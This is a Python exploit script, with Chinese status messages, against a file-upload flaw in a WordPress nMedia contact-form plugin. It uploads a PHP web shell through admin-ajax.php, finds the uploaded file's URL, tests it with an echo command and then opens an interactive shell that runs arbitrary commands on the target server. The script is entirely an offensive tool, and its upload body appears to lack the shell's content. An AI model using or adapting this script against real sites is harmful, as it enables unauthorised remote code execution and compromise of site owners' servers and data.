import requests import argparse import sys import re def banner(): print(r""" ______ ______ ______ ______ ______ /_____/\ /_____/\ /_____/\ /_____/\ /_____/\ \:::_ \ \ \:::_ \ \ \:::_ \ \ \:::_ \ \ \:::_ \ \ \:(_) ) | \:\ ) ) | \:\ ) ) | \:\ ) ) | \:\ ) ) | \: __ `\ \:() (| \:() (| \:() (| \:() (| \ \ `\ \ \:\_/ \ \:\_/ \ \:\_/ \ \:\_/ \ \_\/ \_\ \_____/\ \_____/\ \_____/\ \_____/\ """) def upload_webshell(target): upload_url = f"{target}/wp-admin/admin-ajax.php?action=nm_webcontact_upload_file" headers = { "User-Agent": "Mozilla/5.0", "Content-Type": "multipart/form-data; boundary=WebKitFormBoundary7MA4YWxkTrZu0gW" } body = ( "--WebKitFormBoundary7MA4YWxkTrZu0gW\r\n" 'Content-Disposition: form-data; name="Filedata"; filename="download.php"\r\n' "Content-Type: application/octet-stream\r\n\r\n" "\r\n" "--WebKitFormBoundary7MA4YWxkTrZu0gW--\r\n" ) print("[+] 正在尝试上传 WebShell...") try: res = requests.post(upload_url, headers=headers, data=body, timeout=10) if res.status_code == 200 and '"status":"uploaded"' in res.text: print("[+] WebShell 上传成功,正在提取文件名...") match = re.search(r'"filename":"([^"]+)"', res.text) if match: filename = match.group(1) webshell_url = f"{target}/wp-content/uploads/contact_files/{filename}" print(f"[+] WebShell 地址为:{webshell_url}") return webshell_url else: print("[-] 无法提取文件名,请检查响应内容。") print(res.text) sys.exit(1) else: print("[-] 上传失败,请检查目标是否可利用。") print(res.text) sys.exit(1) except Exception as e: print(f"[-] 上传 WebShell 时发生错误:{e}") sys.exit(1) def execute_command(url, cmd): data = { 'cmd': cmd } try: res = requests.post(url, data=data, timeout=10) return res.text except Exception as e: return f"[!] Error executing command: {e}" def verify_webshell(url): print("[+] 正在验证 WebShell 是否可用...") result = execute_command(url, 'echo "TestCommandSuccess";') if "TestCommandSuccess" in result: print("[+] 验证成功,WebShell 可用!") return True else: print("[-] 验证失败,WebShell 不可用。") print(result) return False def shell_interactive(url): print("[+] 进入交互式 Shell 模式(输入 exit 退出)") while True: try: cmd = input("shell> ").strip() if cmd.lower() == 'exit': print("[*] 退出 Shell,再见!") break if not cmd: continue output = execute_command(url, cmd) print(output) except KeyboardInterrupt: print("\n[*] 用户中断") break except Exception as e: print(f"[!] 异常: {e}") break def main(): parser = argparse.ArgumentParser(description="WordPress nMedia 文件上传漏洞利用脚本") parser.add_argument('-u', '--url', required=True, help='目标 WordPress 站点地址,如 http://ip:port') args = parser.parse_args() banner() print(f"[+] 目标地址:{args.url}") webshell_url = upload_webshell(args.url) if verify_webshell(webshell_url): shell_interactive(webshell_url) if __name__ == '__main__': main()